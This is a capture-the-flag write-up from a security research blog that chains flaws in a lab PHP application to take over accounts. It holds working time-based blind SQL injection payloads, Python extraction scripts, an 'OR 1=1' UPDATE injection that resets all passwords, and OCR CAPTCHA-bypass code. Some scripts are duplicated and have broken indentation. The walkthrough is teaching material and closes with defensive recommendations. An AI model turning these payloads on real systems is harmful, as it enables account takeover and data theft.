CyCTF 2023 Challenge: A Whitebox Walkthrough of “The Secret App v1.0”

Cybersecurity R&D
CyCTF 2023 Challenge: A Whitebox Walkthrough of “The Secret App v1.0”

CyCTF 2023 Challenge: A Whitebox Walkthrough of “The Secret App v1.0”

1- Introduction

In this walkthrough, we explore a real-world inspired challenge from CyCTF 2023, a Capture the Flag (CTF) cybersecurity competition designed to test participants’ offensive and analytical skills through hands-on scenarios. One of the key challenges, titled “The Secret App v1.0,” simulates an account takeover attack on a deliberately vulnerable PHP web application.

The source code of the application reveals several exploitable flaws that, when combined, allow unauthorized access to the admin account and exposure of sensitive information. This analysis highlights how chained vulnerabilities can lead to a full compromise even when each individual issue might seem minor.

This article is ideal for cybersecurity students, CTF enthusiasts, penetration testers, and web developers looking to deepen their understanding of how small flaws, when combined, can lead to total compromise. Through this walkthrough, readers will gain insights into source code auditing, chained exploitation, and automation techniques using Python and OCR.

2- Challenge Overview

The challenge, part of CyCTF 2023, presents a simulated account takeover scenario using a white box penetration testing approach. Participants are provided with select source code files from a PHP web application and tasked with identifying and chaining together multiple vulnerabilities to gain control of the admin account and retrieve the flag.

The challenge requires analyzing key components of the application, including:

  1. Improper session variable management
  2. A weak “forget password” function
  3. A flawed CAPTCHA validation
  4. Multiple instances of SQL injection vulnerabilities

The exploitation requires a multi-step process, combining insights from the source code and behavioral observations to achieve a successful privilege escalation.

3- Key Concepts

This challenge revolves around several core security concepts:

●       White Box Testing: Reviewing provided source code to identify logic flaws and vulnerabilities.

●       Chained Exploits: Combining multiple issues (e.g., weak CAPTCHA, session misuse, and SQL injection) to achieve account takeover.

●       2nd Order Blind SQL Injection: Delayed injection via stored user input reused in unsafe SQL queries.

●       CAPTCHA Bypass: Exploiting flawed validation logic and, later, automating bypass using OCR tools like pytesseract.

These concepts are essential to navigating the challenge and executing a successful attack chain.

4- Walkthrough

The challenge provides partial source code from a vulnerable PHP application, specifically the registration.php, login.php, and forgot-password.php pages. These are the core functional files, and Figure 1 below shows the list included in the challenge.

Identifying these as the core files immediately informs our approach: we need to analyze how users are created, authenticated, and how password recovery works, all of which are critical for mounting an account takeover. It also signals that potential vulnerabilities will likely stem from how user input is handled across these flows.

 

Figure 1: Core PHP files of the vulnerable application

Registration Page and CAPTCHA

The application uses a CAPTCHA challenge as part of the account creation process, as shown in Figure 2, which displays the registration interface hosted at 192.168.11.128/register.html. The form includes standard fields for email and password, along with a CAPTCHA field intended to prevent automated sign-ups. In this instance, the challenge code displayed is 149ac, which the user must enter into the input box below to proceed.

At first glance, this seems like a standard anti-bot measure. However, given the application's overall structure, we need to question how securely the CAPTCHA is implemented and whether it can be bypassed, especially if it's tied to critical flows like password reset. This prompts us to dig deeper into its logic and placement across the app.

 

Figure 2: Registration Page with CAPTCHA Challenge

While this looks like a standard anti-bot control, further investigation reveals:

●       It does not use prepared SQL statements.

●       It relies instead on mysqli_real_escape_string()  a flawed defense against SQL injection.

This anti-automation measure becomes critical later in the token submission step of the password reset flow.

Login Page

The login page mirrors the registration page as shown in Figure 3 and 4:

●       It uses the same mysqli_real_escape_string() approach to escape input.

●       This helps avoid trivial SQL injection.

●       However, it still fails to enforce robust query binding, and logic flaws remain exploitable.

Figure 4: Login logic with weak input sanitization

Password Reset Flow

The password reset mechanism is the most exploitable component in this app. Here’s what happens when a user submits their username:

●       It is stored as a session variable: $_SESSION['rusername'].

●       The username is cast to an integer and saved into the reset_tokens table with a new token and timestamp as seen in Figure 5.

Important Behavior

Casting a non-numeric string in PHP to an integer result in 0. This becomes a core element in crafting the exploit.

PIN Submission Flow

When the user submits the reset PIN as shown in Figure 6, the following occurs:

  1. A new CAPTCHA is generated.
  2. The validateCaptcha() function is called.
  3. The pin parameter is received.
  4. A SQL query is executed vulnerable to blind SQL injection by using the session variable rusername.

Figure 6: Token submission logic triggering SQL query

However, there's a catch: CAPTCHA validation is required every time, creating friction for automation. This is where the CAPTCHA logic flaw becomes important.

5- CAPTCHA Logic Flaw – Behind the Scenes

To automate token exfiltration using SQL injection, the attacker must repeatedly submit PIN requests. However, CAPTCHA validation is triggered with every submission, creating a major barrier to automation unless the CAPTCHA can be bypassed.

Since the application does not provide the source code for the validateCaptcha() method, we perform a black-box analysis to understand its behavior.

Observed Behavior (Black-Box Analysis)

Through trial and observation, the attacker uncovers a pattern:

  1. First request: Submitting a username generates a token with no CAPTCHA error.
  2. Second request: Submitting a PIN without CAPTCHA still works — no error shown.
  3. Third request: Submitting the PIN again without CAPTCHA finally triggers a "Captcha Failed" message.


As seen in Figure 7, this pattern reveals a timing-related flaw in how the CAPTCHA validation is initialized. The application doesn't enforce CAPTCHA checking until after the session variable is populated.

Root Cause: Session Logic Bug

The flawed behavior stems from how the CAPTCHA comparison is implemented. The validation logic looks like this:

if ($_SESSION['captcha_code'] == $_POST['captcha'])

On the first PIN submission:

●       $_SESSION['captcha_code'] is unset or empty.

●       $_POST['captcha'] is also empty, since no input is submitted.

These two empty values evaluate as equal and the CAPTCHA check falsely passes. On subsequent requests, $_SESSION['captcha_code'] is finally set, but if the input is still empty, the check correctly fails.

This issue is clearly visible in Figure 8, where the flawed conditional logic leads to inconsistent CAPTCHA enforcement.

Figure 8: CAPTCHA validation logic allowing empty session and input to pass on first request

Exploitation Implication

This bug gives the attacker a one-time opportunity to bypass the CAPTCHA just enough to execute a manual blind SQL injection. However, this bypass does not persist beyond the first attempt.

To build a fully automated exploit that extracts the token character by character, CAPTCHA validation must be handled programmatically. This leads to the use of OCR techniques discussed in a later section.

6- Exploitation Flow (Blind SQLi)

After identifying the CAPTCHA logic flaw and session variable misuse, we now move to the core of the exploit: extracting a valid token from the database using a second-order blind SQL injection.

This technique leverages the fact that the input is first stored (in the session) and later reused unsafely in a backend SQL query, a perfect setup for delayed exploitation.

Exploitation Strategy

The attack begins by submitting a crafted username containing a time-based SQL payload. This payload is:

●       Stored in the session variable rusername

●       Later cast to an integer and used in a vulnerable SQL query

As seen in Figure 9, the attacker sends two sequential requests: one to set the injection value in the session, and a second to trigger the SQL query indirectly through the PIN submission.

 

Figure 9: Exploitation flow overview using second-order injection via session variable

Time-Based SQL Injection Logic

Since we cannot see the query output, we infer success based on server response delay:

●       If the guessed character is correct → the database sleeps for 3 seconds

●       If incorrect → the response is immediate

This method uses SLEEP() and SUBSTRING() in a conditional SQL expression.

As shown in Figure 10, the payload allows us to test each character position of the token using response time as a signal.

Sample payload pattern:

/?username=1337' AND (CASE WHEN (SELECT SUBSTRING(token,{position},1) FROM reset_tokens where id=1337)={char} THEN SLEEP(3) ELSE 0 END);-- -

Python Exploit Script

The following Python script automates the blind SQL injection:

●       Sets the crafted payload using the username

●       Triggers the injection via the PIN

●       Measures the time delay to detect correct characters

Crafting a simple Python script to exploit the vulnerabilities would look like the following.

import requests                   

import time                      

import string           

        

cookies = {"PHPSESSID": "617rthsa9dgsk3mr0ksifn8dp6"}

url = "http://192.168.11.128/"                          

token = ""                                              

 

for position in range(1, 9):                         

    for char in '123456789':                        

        # save payload in rusername session variable first

        req1 = requests.get(

            url + f"forgot-password.php?username=1336' AND (CASE WHEN

                  (SELECT SUBSTRING(token, {position}, 1) FROM reset_tokens WHERE    id=1336)={char}

                  THEN SLEEP(3) ELSE 0 END);--+-",

            cookies = cookies

        )

 

        time.sleep(1)                                

        # calculate time before trigger

        start_time = time.time()

       # trigger the sql injection

       req2= requests.get(url+"forgot-password.php?pin=1234",cookies=cookies) 

       # print(req2.text)

       # calculate time after trigger

       rep_time = time.time()

       elapsed = rep_time - start_time

       if int(elapsed) > 2 :

            token += char

            print(f"{position}:{token}")

            break

print(token)

 

Real-Time Execution and Results

Once the script is executed, each character of the token is extracted sequentially. If user 1336’s token is successfully extracted, it might look like:  f3b7a2c9

This token can then be submitted to the application to complete the password reset process and take over the target account.

As seen in Figure 11, each spike in delay represents a successful character match during the attack.

 Figure 11: Server response times indicating successful character matches

As seen in Figure 12 and 13, once all characters are collected, the final token is printed and used to reset the password, completing the exploit chain.

Using the dumped token, we can reset the password for user ID 1336 as follows:

Figure 12: Password reset

Figure 13: Final token reconstruction used for account takeover

Summary of Key Concepts

●       2nd Order SQL Injection: Input is stored and later reused in an unsafe query.

●       Blind Injection with Timing: No output is returned; inference is made via response delays.

●       CAPTCHA Bypass: Exploited only for the first request, later overcome with OCR.

7- Abusing SQL Injection in UPDATE Queries

While the previous attack relied on knowing or guessing a specific user ID (e.g., 1336), real-world scenarios rarely offer such convenience. This section demonstrates how a second SQL injection vulnerability, this time in the UPDATE statement, allows attackers to escalate the attack further, even without prior knowledge of user IDs.

Expanding the Attack Surface

Instead of trying to reset a token for a known user ID, we exploit the fact that:

●       The application does not validate whether the user exists before generating tokens.

●       The id parameter in the backend SQL logic is vulnerable to injection.

As shown in Figure 14, this means that any arbitrary username input, even one that does not correspond to a real account, will still result in a new row in the reset_tokens table.

 

Figure 14: Token generation for a non-existent user due to lack of validation

Exploiting the UPDATE Statement

Later in the workflow, the application uses an UPDATE query to reset the user’s password based on the injected ID. If the attacker supplies a value like:

2342141 OR 1=1

The resulting SQL query becomes:

UPDATE users SET password='[new_hash]' WHERE id=2342141 OR 1=1;

This causes all rows in the users table to be updated with the same password.

As seen in Figure 15, this turns a single-account reset mechanism into a global account takeover vector.

 Figure 15: Exploited UPDATE query affecting all users via OR-based injection

Token Harvesting via the Same Script

As shown in Figure 16, once the attacker updates the password for all users, they can reuse the same blind SQLi script from earlier to retrieve a valid token associated with any ID, including non-existent ones.

 Figure 16: Using the same SQLi logic to fetch token for user ID 2342141

Logging in With Stolen Credentials

The attacker now has a reset token and has updated the password for all users to a known value. Next, they use Burp Suite Intruder to perform a brute-force login attempt.

They iterate through all possible IDs (e.g., from 1 to 1337) using the known password to identify which accounts are now accessible.

As demonstrated in Figure 17, multiple admin accounts may become accessible through this attack path.

 Figure 17: Burp Intruder results showing successful logins across multiple IDs

Escalation Summary

This variant of the attack offers key advantages:

●       No prior knowledge of user IDs is required.

●       A single injection can update passwords for all users.

●       The attacker can then systematically log in using brute-force methods to identify privileged accounts.

8- CAPTCHA Bypass Using OCR

Once the CAPTCHA logic flaw was identified, the attacker was able to bypass it manually for a single request but automation remained a challenge. To fully automate the blind SQL injection process, the attacker needed a way to solve the CAPTCHA dynamically with every request.

The solution: leverage Optical Character Recognition (OCR).

Understanding the CAPTCHA Structure

The CAPTCHA used in the application was a simple alphanumeric code rendered as an image. As seen in Figure 18, each registration attempt generates a new CAPTCHA image.

Figure 18: CAPTCHA image generated on registration page

When the form is submitted with an incorrect or missing CAPTCHA, the backend returns an error, shown in Figure 19, that must be avoided for successful automation.

Figure 19: CAPTCHA failure response from the backend

Automating with OCR

To solve the CAPTCHA automatically, the attacker implemented an OCR-based approach using pytesseract and Pillow. The script fetches the CAPTCHA image, extracts the code, and submits it with the SQLi payload.


import requests                   

import time                      

import string           

import pytesseract

from PIL import Image

from io import BytesIO

 

pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[user]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'

 

def process_request(url, cookies):

      start_time = time.time()

      response = requests.get(url, cookies=cookies)

      response_status_code = response.status_code

      image = Image.open(BytesIO(response.content))

      image_content = pytesseract.image_to_string(image)

      end_time = time.time()

print(f"[request_no]: {request_count}, [status_code]: {response_status_code}, [time]:  {end_time - start_time}, [captcha]: {image_content.strip()}")

      del image

url = 'http://192.168.11.128/captchaImageSource.php'

cookies = {'Cookie': 'PHPSESSID=aavf18surrihqe9193b4k9jh5d'}

request_count = 1

while request_count <= 10:

          process_request(url, cookies)

          request_count += 1

import requests                   

import time                      

import string           

import pytesseract

from PIL import Image

from io import BytesIO

 

pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[user]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'

 

def process_request(url, cookies):

      start_time = time.time()

      response = requests.get(url, cookies=cookies)

      response_status_code = response.status_code

      image = Image.open(BytesIO(response.content))

      image_content = pytesseract.image_to_string(image)

      end_time = time.time()

print(f"[request_no]: {request_count}, [status_code]: {response_status_code}, [time]:  {end_time - start_time}, [captcha]: {image_content.strip()}")

      del image

url = 'http://192.168.11.128/captchaImageSource.php'

cookies = {'Cookie': 'PHPSESSID=aavf18surrihqe9193b4k9jh5d'}

request_count = 1

while request_count <= 10:

          process_request(url, cookies)

          request_count += 1

 

This automation enabled hundreds of requests to be made without manual CAPTCHA solving essential for blind SQL injection attacks.

Result After Bypass

As shown in Figure 20, once the OCR correctly extracts the CAPTCHA code, the server accepts the submission and proceeds to process the injected payload.

Figure 20: Successful CAPTCHA bypass with OCR and valid SQLi execution

Full OCR Workflow

The entire automated flow involves:

  1. Downloading the CAPTCHA image.
  2. Parsing the text using OCR.
  3. Injecting SQL payload along with the solved CAPTCHA.
  4. Extracting the resulting character or boolean signal.
  5. Repeating the cycle for each character in the token.

import requests                   

import time                      

import string           

import pytesseract

from PIL import Image

from io import BytesIO

 

pytesseract.pytesseract.tesseract_cmd = r'C:\\Users\\[USER]\\AppData\\Local\\Programs\\TesseractOCR\\tesseract.exe'

 

def process_request(url, cookies):

       response = requests.get(url, cookies=cookies)

      response_status_code = response.status_code

      image = Image.open(BytesIO(response.content))

      image_content = pytesseract.image_to_string(image)

return image_content.strip()

cookies =  {"PHPSESSID" : "u2h59o0tv5joi9agk5lhn848hv"}

url =  "http://192.168.11.128/"

token = ""

for position in range(1,9) :

   for char in '12345678' :

         # save payload in rusername session variable first

 req1=  requests.get(url+f"forgot-password.php?username= 1336' AND (CASE  WHEN  (SELECT SUBSTRING(token,

{position},1) FROM reset_tokens where id=1336)={char} THEN SLEEP(3) ELSE 0 END);--+-",cookies=cookies)

# get captcha response using OCR Function

captcha =  process_request('http://192.168.11.128/captchaImageSource.php',cookies)

start_time =  time.time()

req2= requests.get(url+f"forgot-password.php?pin=1234&captcha={captcha}",cookies=cookies)

# if the OCR result is wrong keep trying different captcha values

while "Failed" in req2.text :

captcha =  process_request('http://192.168.11.128/captchaImageSource.php',cookies)

start_time =  time.time()

req2=requests.get(url+f"forgot-password.php?pin=1234&captcha={captcha}",cookies=cookies)

# calcuate time after trigger

rep_time = time.time()

elapsed =  rep_time - start_time

       if int(elapsed) > 2 :

token += char

print(f"{position}:{token}")

break

print(token)

9- Recommendations

To defend against this class of multi-layered exploitation, several security hardening measures are recommended:

●       Use parameterized queries (e.g., prepared statements) rather than relying on manual escaping of user input. This prevents SQL injection at the query construction layer.

●       Ensure CAPTCHA validation is robust by verifying session-based tokens server-side. Never trust frontend-only logic for anti-bot mechanisms.

●       Avoid unsafe type casting, converting user input directly to integers without validation can be exploited via type juggling or bypass techniques.

●       Implement rate-limiting and activity logging on sensitive endpoints, such as password resets or login attempts, to detect brute force or automated attacks.

●       Monitor unusual patterns, including repeated CAPTCHA submissions or requests with consistent timing delays, which may indicate automation or blind injection attempts.

These defense-in-depth measures are especially critical for applications handling sensitive data or managing user accounts.

10- Conclusion

This CyCTF 2023 challenge, The Secret App v1.0, is a prime example of how seemingly minor flaws can be chained to achieve full compromise:

1-     A blind SQL injection vulnerability.

2-     Weak CAPTCHA logic.

3-     Poor session validation.

4-     Insecure password reset handling.

Each on its own may appear low-risk, but when combined, they enabled complete administrative takeover of the system.

The challenge offers an insightful, hands-on reminder of the need for:

●       Thoughtful secure-by-design architecture.

●       Backend validation beyond frontend checks.

●       Defense-in-depth practices across the full attack surface.

It emphasizes why layered security, secure coding standards, and routine security testing are vital to any production web application.

 

Blog Writer: Mohamed Amgad, Security Research Technical Lead I Editor: Heba Osama, Senior Research Operations Specialist

 




 

Related Articles